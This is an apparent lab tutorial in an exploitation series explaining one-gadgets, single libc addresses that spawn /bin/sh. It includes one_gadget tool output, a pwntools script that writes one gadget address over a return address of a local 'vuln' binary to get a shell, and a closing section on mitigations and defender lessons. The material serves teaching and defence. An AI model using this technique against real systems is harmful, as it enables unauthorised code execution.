one-gadget: One Address to a Shell
Sometimes you control just one pointer. A one-gadget is a single libc address that calls execve("/bin/sh") — if its register and stack constraints hold. Find one, check the constraints, and use it.
This is the thirteenth walkthrough in the Exploitation Techniques area. The ret2libc guide built a small chain — pop rdi, &"/bin/sh", system. Sometimes you cannot fit even that: you control exactly one pointer. A one-gadget turns that single write into a shell.
Your own binary, disposable lab. See the lab rules.
What a one-gadget is
Inside libc are a few addresses where the surrounding code effectively performs execve("/bin/sh", argv, envp) with arguments drawn from registers or the stack. Jump to such an address with the right state and you get a shell — no arguments to set up, no chain. The catch is that each spot only works if its constraints are already satisfied.
The one_gadget tool enumerates them for a given libc:
$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x50a37 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0xebcf1 execve("/bin/sh", rbp-0x50, [rbp-0x58])
constraints:
address rbp-0x48 is writable
rbx == NULL || {"/bin/sh", rbx, ...} is a valid argv
0xebcf8 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
Each line is offset + the execve it performs + the state that must hold. Your job is to pick the one your control point already meets.
Using one, in practice
Assume an earlier bug gave you a libc leak (see the info-leak guide) and a single-pointer overwrite — say a GOT entry or a saved return address. You add the chosen gadget's offset to the libc base and write that one address.
# one_gadget.py — single-write finale, libc base already known
from pwn import *
context.binary = elf = ELF("./vuln")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address = LEAKED_LIBC_BASE # from a prior leak
# Pick the gadget whose constraints your state satisfies.
one = libc.address + 0xebcf8 # execve("/bin/sh", rsi, rdx)
# Deliver it through whatever single control point you have, e.g. a
# return address left after the leak, or a GOT/function-pointer overwrite.
payload = flat({72: one})
io = process("./vuln")
io.sendline(payload)
io.interactive()
If it crashes instead of dropping a shell, the constraints did not hold — pick another gadget. The 0xebcf8 variant (needs rsi/rdx effectively NULL) is often satisfiable right after a call that zeroed those registers; the rsp & 0xf == 0 variant needs the same 16-byte alignment you manage everywhere on x86-64.
Making a constraint true
If no gadget fits as-is, spend a couple of gadgets to arrange the state, then jump. For example, a xor esi, esi ; ret and a xor edx, edx ; ret before the one-gadget satisfy the third variant. At that point you are back to a tiny chain — but a two-gadget setup plus a one-gadget is still smaller than a full argument-loading ret2libc, and it is the pragmatic middle ground.
Turn the mitigations back on
A one-gadget is just a ret2libc finale, so the mitigations are the same:
| Mitigation | Effect |
|---|---|
| ASLR | You must leak the libc base first; the offset alone is useless |
| PIE + canary | Stop or hide the control-flow hijack that delivers the address |
| Shadow stack / CET | Aborts the hijacked return that jumps to the gadget |
| Full RELRO | Blocks the GOT-overwrite delivery path specifically |
There is no one-gadget-specific defence: it is a property of libc's code, discovered by a tool. What you defend is the delivery — the leak and the single write.
What this teaches a defender
- A single-pointer overwrite is often game over once libc is known. Do not assume "they can only change one value" limits the damage. If that value is a code pointer and libc is leaked, one address is a shell.
- The libc leak is again the linchpin. Every one-gadget needs the base. Prioritise closing information disclosure — it gates this and most other finales in the series.
- Keeping libc current changes the gadgets. Different libc versions have different one-gadgets and constraints; some builds have none that are easily satisfiable. It is not a defence you rely on, but it is real friction.
Key takeaways
- A one-gadget is a single libc address that runs
execve("/bin/sh")when its register/stack constraints hold. - The
one_gadgettool lists them with their constraints; pick the one your control point satisfies, or arrange the state with a couple of gadgets. - It turns a single-pointer overwrite plus a libc leak into a shell — no argument setup.
- Defence targets delivery: stop the leak, hide addresses (PIE/ASLR), and reject the hijacked return (shadow stack).
Next: seccomp sandboxes and the open-read-write chain, for targets where execve is forbidden and a shell is off the table.